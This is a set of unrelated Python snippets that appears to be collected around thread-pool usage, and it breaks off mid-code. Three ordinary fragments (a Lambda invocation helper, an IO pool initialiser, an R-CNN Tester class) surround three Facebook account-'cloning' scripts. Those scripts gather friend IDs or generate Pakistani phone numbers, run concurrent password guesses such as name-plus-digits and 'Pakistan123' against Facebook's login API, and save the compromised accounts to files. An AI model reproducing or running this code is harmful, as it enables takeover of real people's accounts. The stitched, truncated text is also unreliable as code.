def launch_concurrent_lambda_invocations(self, s3_event_list): pool = ThreadPool(processes=len(s3_event_list)) pool.map(lambda s3_event: self.launch_async_event(s3_event), s3_event_list) pool.close()
def crack_menu(): crm = raw_input("Choose Option >> ") if crm =="": print "[!] Filled Incorrectly" crack_menu() elif crm =="1": os.system('clear') print banner r = requests.get("https://graph.facebook.com/me/friends?access_token="+toket) z = json.loads(r.text) for s in z['data']: id.append(s['id']) elif crm =="2": os.system('clear') print banner idt = raw_input("[+] Input ID: ") try: jok = requests.get("https://graph.facebook.com/"+idt+"?access_token="+toket) op = json.loads(jok.text) hamza('\033[1;97m[✓] Account Name \033[1;97m:\033[1;97m '+op['name']) except KeyError: print"[!] ID Not Found!" raw_input("\nPress Enter To Back ") crack() r = requests.get("https://graph.facebook.com/"+idt+"/friends?access_token="+toket) z = json.loads(r.text) for i in z['data']: id.append(i['id']) elif crm =="3": os.system('clear') print banner try: idlist= raw_input('[+] File Name: ') for line in open(idlist ,'r').readlines(): id.append(line.strip()) except IOError: print"[!] File Not Found." raw_input('Press Enter To Back. ') crack() elif crm =="0": menu() else: print "Filled Incorrectly" crack_menu() hamza('[✓] Total Friends: '+str(len(id))) time.sleep(0.5) hamza('[✓] The Process Has Been Started.') time.sleep(0.5) hamza('[!] To Stop Process Press CTRL Then Z') time.sleep(0.5) print (47*"-") def main(arg): global cpb,oks user = arg try: os.mkdir('save') except OSError: pass try: a = requests.get("https://graph.facebook.com/"+user+"/?access_token="+toket) b = json.loads(a.text) pass1='pubglover' data = urllib.urlopen("https://b-api.facebook.com/method/auth.login?access_token=237759909591655%25257C0f140aabedfb65ac27a739ed1a2263b1&format=json&sdk_version=2&email=" + user + "&locale=en_US&password="******"&sdk=ios&generate_session_cookies=1&sig=3f555f99fb61fcd7aa0c44f58f522ef6") q = json.load(data) if "access_token" in q: print '\x1b[1;96m[\x1b[1;96mSuccessful\x1b[1;96m]\x1b[1;96m ' + user + ' \x1b[1;96m|\x1b[1;96m ' + pass1 oks.append(user+pass1) else: if "www.facebook.com" in q["error_msg"]: print '\x1b[1;91m[\x1b[1;91mCheckpoint\x1b[1;91m]\x1b[1;91m ' + user + ' \x1b[1;91m|\x1b[1;91m ' + pass1 crt = open("save/checkpoint.txt", "a") crt.write(user+"|"+pass1+"\n") crt.close() checkpoint.append(user+pass1) else: pass2 = 'freefire' data = urllib.urlopen("https://b-api.facebook.com/method/auth.login?access_token=237759909591655%25257C0f140aabedfb65ac27a739ed1a2263b1&format=json&sdk_version=2&email=" + user + "&locale=en_US&password="******"&sdk=ios&generate_session_cookies=1&sig=3f555f99fb61fcd7aa0c44f58f522ef6") q = json.load(data) if "access_token" in q: print '\x1b[1;96m[\x1b[1;96mSuccessful\x1b[1;96m]\x1b[1;96m ' + user + ' \x1b[1;96m|\x1b[1;96m ' + pass2 oks.append(user+pass2) else: if "www.facebook.com" in q["error_msg"]: print '\x1b[1;91m[\x1b[1;91mCheckpoint\x1b[1;91m]\x1b[1;91m ' + user + ' \x1b[1;91m|\x1b[1;91m ' + pass2 crt = open("save/checkpoint.txt", "a") crt.write(user+"|"+pass2+"\n") crt.close() checkpoint.append(user+pass2) else: pass3 = 'freefirepakistan' data = urllib.urlopen("https://b-api.facebook.com/method/auth.login?access_token=237759909591655%25257C0f140aabedfb65ac27a739ed1a2263b1&format=json&sdk_version=2&email=" + user + "&locale=en_US&password="******"&sdk=ios&generate_session_cookies=1&sig=3f555f99fb61fcd7aa0c44f58f522ef6") q = json.load(data) if "access_token" in q: print '\x1b[1;96m[\x1b[1;96mSuccessful\x1b[1;96m]\x1b[1;96m ' + user + ' \x1b[1;96m|\x1b[1;96m ' + pass3 oks.append(user+pass3) else: if "www.facebook.com" in q["error_msg"]: print '\x1b[1;91m[\x1b[1;91mCheckpoint\x1b[1;91m]\x1b[1;91m ' + user + ' \x1b[1;91m|\x1b[1;91m ' + pass3 crt = open("save/checkpoint.txt", "a") crt.write(user+"|"+pass3+"\n") crt.close() checkpoint.append(user+pass3) else: pass4 = b['first_name'] + '111' data = urllib.urlopen("https://b-api.facebook.com/method/auth.login?access_token=237759909591655%25257C0f140aabedfb65ac27a739ed1a2263b1&format=json&sdk_version=2&email=" + user + "&locale=en_US&password="******"&sdk=ios&generate_session_cookies=1&sig=3f555f99fb61fcd7aa0c44f58f522ef6") q = json.load(data) if "access_token" in q: print '\x1b[1;96m[\x1b[1;96mSuccessful\x1b[1;96m]\x1b[1;96m ' + user + ' \x1b[1;96m|\x1b[1;96m ' + pass4 oks.append(user+pass4) else: if "www.facebook.com" in q["error_msg"]: print '\x1b[1;91m[\x1b[1;91mCheckpoint\x1b[1;91m]\x1b[1;91m ' + user + ' \x1b[1;91m|\x1b[1;91m ' + pass4 crt = open("save/checkpoint.txt", "a") crt.write(user+"|"+pass4+"\n") crt.close() checkpoint.append(user+pass4) else: pass5 = b['first_name'] + '12345' data = urllib.urlopen("https://b-api.facebook.com/method/auth.login?access_token=237759909591655%25257C0f140aabedfb65ac27a739ed1a2263b1&format=json&sdk_version=2&email=" + user + "&locale=en_US&password="******"&sdk=ios&generate_session_cookies=1&sig=3f555f99fb61fcd7aa0c44f58f522ef6") q = json.load(data) if "access_token" in q: print '\x1b[1;96m[\x1b[1;96mSuccessful\x1b[1;96m]\x1b[1;96m ' + user + ' \x1b[1;96m|\x1b[1;96m ' + pass5 oks.append(user+pass5) else: if "www.facebook.com" in q["error_msg"]: print '\x1b[1;91m[\x1b[1;91mCheckpoint\x1b[1;91m]\x1b[1;91m ' + user + ' \x1b[1;91m|\x1b[1;91m ' + pass5 crt = open("save/checkpoint.txt", "a") crt.write(user+"|"+pass5+"\n") crt.close() checkpoint.append(user+pass5) else: pass6 = b['first_name'] + '112233' data = urllib.urlopen("https://b-api.facebook.com/method/auth.login?access_token=237759909591655%25257C0f140aabedfb65ac27a739ed1a2263b1&format=json&sdk_version=2&email=" + user + "&locale=en_US&password="******"&sdk=ios&generate_session_cookies=1&sig=3f555f99fb61fcd7aa0c44f58f522ef6") q = json.load(data) if "access_token" in q: print '\x1b[1;96m[\x1b[1;96mSuccessful\x1b[1;96m]\x1b[1;96m ' + user + ' \x1b[1;96m|\x1b[1;96m ' + pass6 oks.append(user+pass6) else: if "www.facebook.com" in q["error_msg"]: print '\x1b[1;91m[\x1b[1;91mCheckpoint\x1b[1;91m]\x1b[1;91m ' + user + ' \x1b[1;91m|\x1b[1;91m ' + pass6 crt = open("save/checkpoint.txt", "a") crt.write(user+"|"+pass6+"\n") crt.close() checkpoint.append(user+pass6) else: pass7 = b['first_name'] + '@@@' data = urllib.urlopen("https://b-api.facebook.com/method/auth.login?access_token=237759909591655%25257C0f140aabedfb65ac27a739ed1a2263b1&format=json&sdk_version=2&email=" + user + "&locale=en_US&password="******"&sdk=ios&generate_session_cookies=1&sig=3f555f99fb61fcd7aa0c44f58f522ef6") q = json.load(data) if "access_token" in q: print '\x1b[1;96m[\x1b[1;96mSuccessful\x1b[1;96m]\x1b[1;96m ' + user + ' \x1b[1;96m|\x1b[1;96m ' + pass7 oks.append(user+pass7) else: if "www.facebook.com" in q["error_msg"]: print '\x1b[1;91m[\x1b[1;91mCheckpoint\x1b[1;91m]\x1b[1;91m ' + user + ' \x1b[1;91m|\x1b[1;91m ' + pass7 crt = open("save/checkpoint.txt", "a") crt.write(user+"|"+pass7+"\n") crt.close() checkpoint.append(user+pass7) except: pass p = ThreadPool(30) p.map(main, id) print "\033[1;97m----------------------------------------------" hamza('[✓] Process Has Been Completed.') hamza('\033[1;97m[✓] Checkpoint IDS Has Been Saved.') xx = str(len(oks)) xxx = str(len(checkpoint)) print ("[✓] Total \033[1;32mOK/\033[1;97mCP : \033[1;32m"+str(len(oks))+"/\033[1;97m"+str(len(checkpoint))) print (47*"-") raw_input("\nPress Enter To Back ") menu()
def pilih_super(): peak = raw_input("\n\033[1;31;40m>>> \033[1;97m") if peak == "": print "\033[1;97mFill in correctly" pilih_super() elif peak == "1": os.system('clear') print logo jalan('\033[1;95m[✺] Getting IDs \033[1;95m...') r = requests.get( "https://graph.facebook.com/me/friends?access_token=" + toket) z = json.loads(r.text) for s in z['data']: id.append(s['id']) elif peak == "2": os.system('clear') print logo idt = raw_input("\033[1;97m[*] Enter ID : ") try: jok = requests.get("https://graph.facebook.com/" + idt + "?access_token=" + toket) op = json.loads(jok.text) print "\033[1;31;40m[✺] Name : " + op["name"] except KeyError: print "\033[1;97m[✺] ID Not Found!" raw_input("\n\033[1;97m[\033[1;97mBack\033[1;97m]") super() print "\033[1;35;40m[✺] Getting IDs..." r = requests.get("https://graph.facebook.com/" + idt + "/friends?access_token=" + toket) z = json.loads(r.text) for i in z['data']: id.append(i['id']) elif peak == "3": os.system('clear') print logo brute() elif peak == "4": os.system('clear') print logo try: idlist = raw_input( '\033[1;97m[+] \033[1;97mEnter the file name \033[1;97m: \033[1;97m' ) for line in open(idlist, 'r').readlines(): id.append(line.strip()) except IOError: print '\x1b[1;35;40m[!] \x1b[1;35;40mFile not found' raw_input('\n\x1b[1;35;40m[ \x1b[1;35;40mExit \x1b[1;35;40m]') super() elif peak == "0": menu() else: print "\033[1;97mFill in correctly" pilih_super() print "\033[1;36;40m[✺] Total IDs : \033[1;95m" + str(len(id)) jalan('\033[1;34;40m[✺] Please Wait...') titik = ['. ', '.. ', '... '] for o in titik: print("\r\033[1;32;40m[✺] Cloning\033[1;95m" + o), sys.stdout.flush() time.sleep(1) print "\n\033[1;95m ❈ \033[1;97mTo Stop Process Press CTRL+Z \033[1;95m ❈" def main(arg): global cekpoint, oks user = arg try: os.mkdir('out') except OSError: pass try: a = requests.get('https://graph.facebook.com/' + user + '/?access_token=' + toket) b = json.loads(a.text) pass1 = b['first_name'] + '1234' data = urllib.urlopen( "https://b-api.facebook.com/method/auth.login?access_token=237759909591655%25257C0f140aabedfb65ac27a739ed1a2263b1&format=json&sdk_version=2&email=" + (user) + "&locale=en_US&password="******"&sdk=ios&generate_session_cookies=1&sig=3f555f99fb61fcd7aa0c44f58f522ef6" ) q = json.load(data) if 'access_token' in q: x = requests.get("https://graph.facebook.com/" + user + "?access_token=" + q['access_token']) z = json.loads(x.text) print '\x1b[1;91m[!] \x1b[1;92m[OK]' print '\x1b[1;92m[!] \x1b[1;97mName \x1b[1;97m : \x1b[1;97m' + b[ 'name'] print '\x1b[1;93m[!] \x1b[1;97mID \x1b[1;97m : \x1b[1;97m' + user print '\x1b[1;94m[!] \x1b[1;91mPassword \x1b[1;97m: \x1b[1;97m' + pass1 + '\n' oks.append(user + pass1) else: if 'www.facebook.com' in q["error_msg"]: print '\x1b[1;91m[!] \x1b[1;96m[Checkpoint]' print '\x1b[1;92m[!] \x1b[1;97mName \x1b[1;97m : \x1b[1;97m' + b[ 'name'] print '\x1b[1;93m[!] \x1b[1;97mID \x1b[1;97m : \x1b[1;97m' + user print '\x1b[1;94m[!] \x1b[1;91mPassword \x1b[1;97m: \x1b[1;97m' + pass1 + '\n' cek = open("out/super_cp.txt", "a") cek.write("ID:" + user + " Pw:" + pass1 + "\n") cek.close() cekpoint.append(user + pass1) else: pass2 = b['first_name'] + '123' data = urllib.urlopen( "https://b-api.facebook.com/method/auth.login?access_token=237759909591655%25257C0f140aabedfb65ac27a739ed1a2263b1&format=json&sdk_version=2&email=" + (user) + "&locale=en_US&password="******"&sdk=ios&generate_session_cookies=1&sig=3f555f99fb61fcd7aa0c44f58f522ef6" ) q = json.load(data) if 'access_token' in q: x = requests.get("https://graph.facebook.com/" + user + "?access_token=" + q['access_token']) z = json.loads(x.text) print '\x1b[1;94m[!] \x1b[1;92m[OK]' print '\x1b[1;93m[!] \x1b[1;97mName \x1b[1;97m : \x1b[1;97m' + b[ 'name'] print '\x1b[1;92m[!] \x1b[1;97mID \x1b[1;97m : \x1b[1;97m' + user print '\x1b[1;91m[!] \x1b[1;91mPassword \x1b[1;97m: \x1b[1;97m' + pass2 + '\n' oks.append(user + pass2) else: if 'www.facebook.com' in q["error_msg"]: print '\x1b[1;94m[!] \x1b[1;96m[Checkpoint]' print '\x1b[1;93m[!] \x1b[1;97mName \x1b[1;93m : \x1b[1;97m' + b[ 'name'] print '\x1b[1;92m[!] \x1b[1;97mID \x1b[1;97m : \x1b[1;97m' + user print '\x1b[1;91m[!] \x1b[1;91mPassword \x1b[1;97m: \x1b[1;97m' + pass2 + '\n' cek = open("out/super_cp.txt", "a") cek.write("ID:" + user + " Pw:" + pass2 + "\n") cek.close() cekpoint.append(user + pass2) else: pass3 = b['last_name'] + '123' data = urllib.urlopen( "https://b-api.facebook.com/method/auth.login?access_token=237759909591655%25257C0f140aabedfb65ac27a739ed1a2263b1&format=json&sdk_version=2&email=" + (user) + "&locale=en_US&password="******"&sdk=ios&generate_session_cookies=1&sig=3f555f99fb61fcd7aa0c44f58f522ef6" ) q = json.load(data) if 'access_token' in q: x = requests.get( "https://graph.facebook.com/" + user + "?access_token=" + q['access_token']) z = json.loads(x.text) print '\x1b[1;91m[!] \x1b[1;92m[OK]' print '\x1b[1;92m[!] \x1b[1;97mName \x1b[1;97m : \x1b[1;97m' + b[ 'name'] print '\x1b[1;93m[!] \x1b[1;97mID \x1b[1;97m : \x1b[1;97m' + user print '\x1b[1;94m[!] \x1b[1;91mPassword \x1b[1;97m: \x1b[1;97m' + pass3 + '\n' oks.append(user + pass3) else: if 'www.facebook.com' in q["error_msg"]: print '\x1b[1;91m[!] \x1b[1;96m[Checkpoint]' print '\x1b[1;92m[!] \x1b[1;97mName \x1b[1;97m : \x1b[1;97m' + b[ 'name'] print '\x1b[1;93m[!] \x1b[1;97mID \x1b[1;97m : \x1b[1;97m' + user print '\x1b[1;94m[!] \x1b[1;91mPassword \x1b[1;97m: \x1b[1;97m' + pass3 + '\n' cek = open("out/super_cp.txt", "a") cek.write("ID:" + user + " Pw:" + pass3 + "\n") cek.close() cekpoint.append(user + pass3) else: pass4 = b['first_name'] + '1122' data = urllib.urlopen( "https://b-api.facebook.com/method/auth.login?access_token=237759909591655%25257C0f140aabedfb65ac27a739ed1a2263b1&format=json&sdk_version=2&email=" + (user) + "&locale=en_US&password="******"&sdk=ios&generate_session_cookies=1&sig=3f555f99fb61fcd7aa0c44f58f522ef6" ) q = json.load(data) if 'access_token' in q: x = requests.get( "https://graph.facebook.com/" + user + "?access_token=" + q['access_token']) z = json.loads(x.text) print '\x1b[1;94m[!] \x1b[1;92m[OK]' print '\x1b[1;93m[!] \x1b[1;97mName \x1b[1;97m : \x1b[1;97m' + b[ 'name'] print '\x1b[1;92m[!] \x1b[1;97mID \x1b[1;97m : \x1b[1;97m' + user print '\x1b[1;91m[!] \x1b[1;91mPassword \x1b[1;97m: \x1b[1;97m' + pass4 + '\n' oks.append(user + pass4) else: if 'www.facebook.com' in q[ "error_msg"]: print '\x1b[1;94m[!] \x1b[1;96m[Checkpoint]' print '\x1b[1;93m[!] \x1b[1;97mName \x1b[1;97m : \x1b[1;97m' + b[ 'name'] print '\x1b[1;92m[!] \x1b[1;97mID \x1b[1;97m : \x1b[1;97m' + user print '\x1b[1;91m[!] \x1b[1;91mPassword \x1b[1;97m: \x1b[1;97m' + pass4 + '\n' cek = open("out/super_cp.txt", "a") cek.write("ID:" + user + " Pw:" + pass4 + "\n") cek.close() cekpoint.append(user + pass4) else: pass5 = '786786' data = urllib.urlopen( "https://b-api.facebook.com/method/auth.login?access_token=237759909591655%25257C0f140aabedfb65ac27a739ed1a2263b1&format=json&sdk_version=2&email=" + (user) + "&locale=en_US&password="******"&sdk=ios&generate_session_cookies=1&sig=3f555f99fb61fcd7aa0c44f58f522ef6" ) q = json.load(data) if 'access_token' in q: x = requests.get( "https://graph.facebook.com/" + user + "?access_token=" + q['access_token']) z = json.loads(x.text) print '\x1b[1;97m[!] \x1b[1;92m[OK]' print '\x1b[1;97m[!] \x1b[1;97mName \x1b[1;97m : \x1b[1;97m' + b[ 'name'] print '\x1b[1;97m[!] \x1b[1;97mID \x1b[1;97m : \x1b[1;97m' + user print '\x1b[1;97m[!] \x1b[1;91mPassword \x1b[1;97m: \x1b[1;97m' + pass5 + '\n' oks.append(user + pass5) else: if 'www.facebook.com' in q[ "error_msg"]: print '\x1b[1;97m[!] \x1b[1;96m[Checkpoint]' print '\x1b[1;97m[!] \x1b[1;97mName \x1b[1;97m : \x1b[1;97m' + b[ 'name'] print '\x1b[1;97m[!] \x1b[1;97mID \x1b[1;97m : \x1b[1;97m' + user print '\x1b[1;97m[!] \x1b[1;91mPassword \x1b[1;97m: \x1b[1;97m' + pass5 + '\n' cek = open( "out/super_cp.txt", "a") cek.write("ID:" + user + " Pw:" + pass5 + "\n") cek.close() cekpoint.append(user + pass5) else: pass6 = 'Pakistan' data = urllib.urlopen( "https://b-api.facebook.com/method/auth.login?access_token=237759909591655%25257C0f140aabedfb65ac27a739ed1a2263b1&format=json&sdk_version=2&email=" + (user) + "&locale=en_US&password="******"&sdk=ios&generate_session_cookies=1&sig=3f555f99fb61fcd7aa0c44f58f522ef6" ) q = json.load(data) if 'access_token' in q: x = requests.get( "https://graph.facebook.com/" + user + "?access_token=" + q['access_token']) z = json.loads(x.text) print '\x1b[1;97m[!] \x1b[1;92m[OK]' print '\x1b[1;97m[!] \x1b[1;97mName \x1b[1;97m : \x1b[1;97m' + b[ 'name'] print '\x1b[1;97m[!] \x1b[1;97mID \x1b[1;97m : \x1b[1;97m' + user print '\x1b[1;97m[!] \x1b[1;91mPassword \x1b[1;97m: \x1b[1;97m' + pass6 + '\n' oks.append(user + pass6) else: if 'www.facebook.com' in q[ "error_msg"]: print '\x1b[1;97m[!] \x1b[1;96m[Checkpoint]' print '\x1b[1;97m[!] \x1b[1;97mName \x1b[1;97m : \x1b[1;97m' + b[ 'name'] print '\x1b[1;97m[!] \x1b[1;97mID \x1b[1;97m : \x1b[1;97m' + user print '\x1b[1;97m[!] \x1b[1;91mPassword \x1b[1;97m: \x1b[1;97m' + pass6 + '\n' cek = open( "out/super_cp.txt", "a") cek.write("ID:" + user + " Pw:" + pass6 + "\n") cek.close() cekpoint.append( user + pass6) else: pass7 = b[ 'first_name'] + '12345' data = urllib.urlopen( "https://b-api.facebook.com/method/auth.login?access_token=237759909591655%25257C0f140aabedfb65ac27a739ed1a2263b1&format=json&sdk_version=2&email=" + (user) + "&locale=en_US&password="******"&sdk=ios&generate_session_cookies=1&sig=3f555f99fb61fcd7aa0c44f58f522ef6" ) q = json.load(data) if 'access_token' in q: x = requests.get( "https://graph.facebook.com/" + user + "?access_token=" + q['access_token'] ) z = json.loads( x.text) print '\x1b[1;91m[!] \x1b[1;92m[OK]' print '\x1b[1;92m[!] \x1b[1;97mName \x1b[1;97m : \x1b[1;97m' + b[ 'name'] print '\x1b[1;93m[!] \x1b[1;97mID \x1b[1;97m : \x1b[1;97m' + user print '\x1b[1;94m[!] \x1b[1;91mPassword \x1b[1;97m: \x1b[1;97m' + pass7 + '\n' oks.append( user + pass7) else: if 'www.facebook.com' in q[ "error_msg"]: print '\x1b[1;91m[!] \x1b[1;96m[Checkpoint]' print '\x1b[1;92m[!] \x1b[1;97mName \x1b[1;97m : \x1b[1;97m' + b[ 'name'] print '\x1b[1;93m[!] \x1b[1;97mID \x1b[1;97m : \x1b[1;97m' + user print '\x1b[1;94m[!] \x1b[1;91mPassword \x1b[1;97m: \x1b[1;97m' + pass7 + '\n' cek = open( "out/super_cp.txt", "a") cek.write( "ID:" + user + " Pw:" + pass7 + "\n") cek.close() cekpoint.append( user + pass7) else: pass8 = '000786' data = urllib.urlopen( "https://b-api.facebook.com/method/auth.login?access_token=237759909591655%25257C0f140aabedfb65ac27a739ed1a2263b1&format=json&sdk_version=2&email=" + (user ) + "&locale=en_US&password="******"&sdk=ios&generate_session_cookies=1&sig=3f555f99fb61fcd7aa0c44f58f522ef6" ) q = json.load( data) if 'access_token' in q: x = requests.get( "https://graph.facebook.com/" + user + "?access_token=" + q['access_token'] ) z = json.loads( x. text ) print '\x1b[1;97m[!] \x1b[1;92m[OK]' print '\x1b[1;97m[!] \x1b[1;97mName \x1b[1;97m : \x1b[1;97m' + b[ 'name'] print '\x1b[1;97m[!] \x1b[1;97mID \x1b[1;97m : \x1b[1;97m' + user print '\x1b[1;97m[!] \x1b[1;91mPassword \x1b[1;97m: \x1b[1;97m' + pass8 + '\n' oks.append( user + pass8 ) else: if 'www.facebook.com' in q[ "error_msg"]: print '\x1b[1;97m[!] \x1b[1;96m[Checkpoint]' print '\x1b[1;97m[!] \x1b[1;97mName \x1b[1;97m : \x1b[1;97m' + b[ 'name'] print '\x1b[1;97m[!] \x1b[1;97mID \x1b[1;98m : \x1b[1;97m' + user print '\x1b[1;97m[!] \x1b[1;91mPassword \x1b[1;97m: \x1b[1;97m' + pass8 + '\n' cek = open( "out/super_cp.txt", "a" ) cek.write( "ID:" + user + " Pw:" + pass8 + "\n" ) cek.close( ) cekpoint.append( user + pass8 ) else: pass9 = b[ 'first_name'] + '786' data = urllib.urlopen( "https://b-api.facebook.com/method/auth.login?access_token=237759909591655%25257C0f140aabedfb65ac27a739ed1a2263b1&format=json&sdk_version=2&email=" + (user ) + "&locale=en_US&password="******"&sdk=ios&generate_session_cookies=1&sig=3f555f99fb61fcd7aa0c44f58f522ef6" ) q = json.load( data ) if 'access_token' in q: x = requests.get( "https://graph.facebook.com/" + user + "?access_token=" + q['access_token'] ) z = json.loads( x . text ) print '\x1b[1;91m[!] \x1b[1;92m[OK]' print '\x1b[1;92m[!] \x1b[1;97mName \x1b[1;97m : \x1b[1;97m' + b[ 'name'] print '\x1b[1;93m[!] \x1b[1;97mID \x1b[1;97m : \x1b[1;97m' + user print '\x1b[1;94m[!] \x1b[1;91mPassword \x1b[1;97m: \x1b[1;97m' + pass9 + '\n' oks.append( user + pass9 ) else: if 'www.facebook.com' in q[ "error_msg"]: print '\x1b[1;91m[!] \x1b[1;96m[Checkpoint]' print '\x1b[1;92m[!] \x1b[1;97mName \x1b[1;97m : \x1b[1;97m' + b[ 'name'] print '\x1b[1;94m[!] \x1b[1;97mID \x1b[1;97m : \x1b[1;97m' + user print '\x1b[1;94m[!] \x1b[1;91mPassword \x1b[1;97m: \x1b[1;97m' + pass9 + '\n' cek = open( "out/super_cp.txt", "a" ) cek.write( "ID:" + user + " Pw:" + pass9 + "\n" ) cek.close( ) cekpoint.append( user + pass9 ) except: pass p = ThreadPool(30) p.map(main, id) print '\033[1;31;40m[✓] Process Has Been Completed\033[1;95m....' print "\033[1;32;40m[+] Total OK/\033[1;95mCP \033[1;97m: \033[1;95m" + str( len(oks)) + "\033[1;31;40m/\033[1;36;40m" + str(len(cekpoint)) print '\033[1;34;40m[+] CP File Has Been Saved : save/cp.txt' print """ \033[1;31;40m ●════════════════════════◄►════════════════════════● """ raw_input("\n\033[1;95m[\033[1;95mExit\033[1;95m]") super()
def action(): peak = raw_input('\n\033[1;97mCHOOSE:\033[1;97m') if peak =='': print '[!] Fill In Correctly' action() elif peak =="1": os.system("clear") print logo2 print "Enter any Pakistan Mobile number code for cloning"+'\n' print 'Enter any code 1 to 49' try: c = raw_input("\033[1;97mCHOOSE : ") k="03" idlist = ('.txt') for line in open(idlist,"r").readlines(): id.append(line.strip()) except IOError: print ("[!] File Not Found") raw_input("\n[ Back ]") blackmafiax() elif peak =='0': login() else: print '[!] Fill In Correctly' action() print 50* '\033[1;94m-' xxx = str(len(id)) jalan('\033[1;96m▬PROGRAMED BY BILALO DAJAL ') jalan("\033[1;96m▬▬DOCTOR OF COMPUTERS AND LAPTOPS") jalan('\033[1;96m▬▬▬PROGRAMER') jalan('\033[1;96m▬▬▬▬WEB DEVOLPR') jalan("\033[1;96m▬▬▬▬▬HACKER") jalan("\033[1;96m▬▬▬▬▬▬TRICKX MASTER") jalan('\033[1;96m▬▬▬▬▬▬▬PUKHTOON') jalan ('\033[1;96m Total Number of IDs: '+xxx) jalan ('\033[1;95mCode you choosed: '+c) jalan ("\033[1;94mWait A While Start Cloning...") jalan ("\033[1;93mTo Stop Process Press Ctrl+z") print 50* '\033[1;97m-' def main(arg): global cpb,oks user = arg try: os.mkdir('save') except OSError: pass try: pass1 = user data = br.open('https://b-api.facebook.com/method/auth.login?access_token=237759909591655%25257C0f140aabedfb65ac27a739ed1a2263b1&format=json&sdk_version=1&email=' +k+c+user+ '&locale=en_US&password='******'&sdk=ios&generate_session_cookies=1&sig=3f555f98fb61fcd7aa0c44f58f522efm') q = json.load(data) if 'access_token' in q: print '\x1b[1;93m(done) ' + k + c + user + ' | ' + pass1 okb = open('save/cloned.txt', 'a') okb.write(k+c+user+pass1+'\n') okb.close() oks.append(c+user+pass1) else: if 'www.facebook.com' in q['error_msg']: print '\033[1;97m(7Days) ' + k + c + user + ' | ' + pass1 cps = open('save/cloned.txt', 'a') cps.write(k+c+user+pass1+'\n') cps.close() cpb.append(c+user+pass1) else: pass2 = k + c + user data = br.open('https://b-api.facebook.com/method/auth.login?access_token=237759909591655%25257C0f140aabedfb65ac27a739ed1a2263b1&format=json&sdk_version=1&email=' +k+c+user+ '&locale=en_US&password='******'&sdk=ios&generate_session_cookies=1&sig=3f555f98fb61fcd7aa0c44f58f522efm') q = json.load(data) if 'access_token' in q: print '\x1b[1;93m(Done) ' + k + c + user + ' | ' + pass2 okb = open('save/cloned.txt', 'a') okb.write(k+c+user+pass2+'\n') okb.close() oks.append(c+user+pass2) else: if 'www.facebook.com' in q['error_msg']: print '\033[1;97m(7days) ' + k + c + user + ' | ' + pass2 cps = open('save/cloned.txt', 'a') cps.write(k+c+user+pass2+'\n') cps.close() cpb.append(c+user+pass2) else: pass3="Pakistan123" data = br.open('https://b-api.facebook.com/method/auth.login?access_token=237759909591655%25257C0f140aabedfb65ac27a739ed1a2263b1&format=json&sdk_version=1&email=' +k+c+user+ '&locale=en_US&password='******'&sdk=ios&generate_session_cookies=1&sig=3f555f98fb61fcd7aa0c44f58f522efm') q = json.load(data) if 'access_token' in q: print '\x1b[1;93m(Done) ' + k + c + user + ' | ' + pass3 okb = open('save/cloned.txt', 'a') okb.write(k+c+user+pass3+'\n') okb.close() oks.append(c+user+pass3) else: if 'www.facebook.com' in q['error_msg']: print '\033[1;97m(7days) ' + k + c + user + ' | ' + pass3 cps = open('save/cloned.txt', 'a') cps.write(k+c+user+pass3+'\n') cps.close() cpb.append(c+user+pass3) else: pass4="Pakistan" data = br.open('https://b-api.facebook.com/method/auth.login?access_token=237759909591655%25257C0f140aabedfb65ac27a739ed1a2263b1&format=json&sdk_version=1&email=' +k+c+user+ '&locale=en_US&password='******'&sdk=ios&generate_session_cookies=1&sig=3f555f98fb61fcd7aa0c44f58f522efm') q = json.load(data) if 'access_token' in q: print '\x1b[1;93m(done) ' + k + c + user + ' | ' + pass4 okb = open('save/cloned.txt', 'a') okb.write(k+c+user+pass4+'\n') okb.close() oks.append(c+user+pass4) else: if 'www.facebook.com' in q['error_msg']: print '\033[1;97m(7days) ' + k + c + user + ' | ' + pass4 cps = open('save/cloned.txt', 'a') cps.write(k+c+user+pass4+'\n') cps.close() cpb.append(c+user+pass4) else: pass5="786786" data = br.open('https://b-api.facebook.com/method/auth.login?access_token=237759909591655%25257C0f140aabedfb65ac27a739ed1a2263b1&format=json&sdk_version=1&email=' +k+c+user+ '&locale=en_US&password='******'&sdk=ios&generate_session_cookies=1&sig=3f555f98fb61fcd7aa0c44f58f522efm') q = json.load(data) if 'access_token' in q: print '\x1b[1;93m(Done) ' + k + c + user + ' | ' + pass5 okb = open('save/cloned.txt', 'a') okb.write(k+c+user+pass5+'\n') okb.close() oks.append(c+user+pass5) else: if 'www.facebook.com' in q['error_msg']: print '\033[1;97m(7days) ' + k + c + user + ' | ' + pass5 cps = open('save/cloned.txt', 'a') cps.write(k+c+user+pass5+'\n') cps.close() cpb.append(c+user+pass5) except: pass p = ThreadPool(30) p.map(main, id) print 50* '\033[1;91m-' print 'Process Has Been Completed ...' print 'Total Online/Offline : '+str(len(oks))+'/'+str(len(cpb)) print('Cloned Accounts Has Been Saved : save/cloned.txt') jalan("Note : Your CP account Will Open after 7 to 10 days") print '' print """ ░▐█▀▄─▒▀▄░░░░░▄▀░▐█▀▀
def the_io_thread_pool_init(parallelism=1): global the_io_thread_pool if the_io_thread_pool is None: the_io_thread_pool = ThreadPool(2 * parallelism) # make sure the threads are started up the_io_thread_pool.map(int, range(2 * parallelism))
class Tester(object): def __init__(self, module, imdb, roidb, test_iter, cfg, rcnn_output_names=None,rpn_output_names=None, logger=None, batch_size=None): self.test_iter = test_iter # Make sure that iterator is instnace of Prefetching iterator if test_iter and not isinstance(test_iter, PrefetchingIter): self.test_iter = PrefetchingIter(self.test_iter) self.scale = test_iter.test_scale self.cfg = cfg self.module = module if test_iter: self.data_names = [k[0] for k in test_iter.provide_data_single] self.rcnn_output_names = rcnn_output_names if not self.rcnn_output_names: self.rcnn_output_names = { 'cls' : 'cls_prob_reshape_output', 'bbox': 'bbox_pred_reshape_output', 'im_ids': 'im_ids' } self.rpn_output_names = rpn_output_names if not self.rpn_output_names: self.rpn_output_names = { 'scores' : 'rois_score', 'rois': 'rois_output', 'im_ids': 'im_ids' } self.logger = logger self.result_path = imdb.result_path self.num_classes = imdb.num_classes self.class_names = imdb.classes print self.class_names self.num_images = len(roidb) self.imdb_name = imdb.name self.nms_worker = nms_worker(cfg.TEST.NMS, cfg.TEST.NMS_SIGMA) self.batch_size = batch_size self.roidb = roidb self.verbose = len(roidb) > 1 self.thread_pool = None if not self.batch_size: self.batch_size = self.cfg.TEST.BATCH_IMAGES def forward(self, batch): self.module.forward(batch, is_train=False) return [dict(zip(self.module.output_names, i)) for i in zip(*self.module.get_outputs(merge_multi_context=False))] def get_proposals(self, batch, scales): data = dict(zip(self.data_names, batch.data)) outputs = 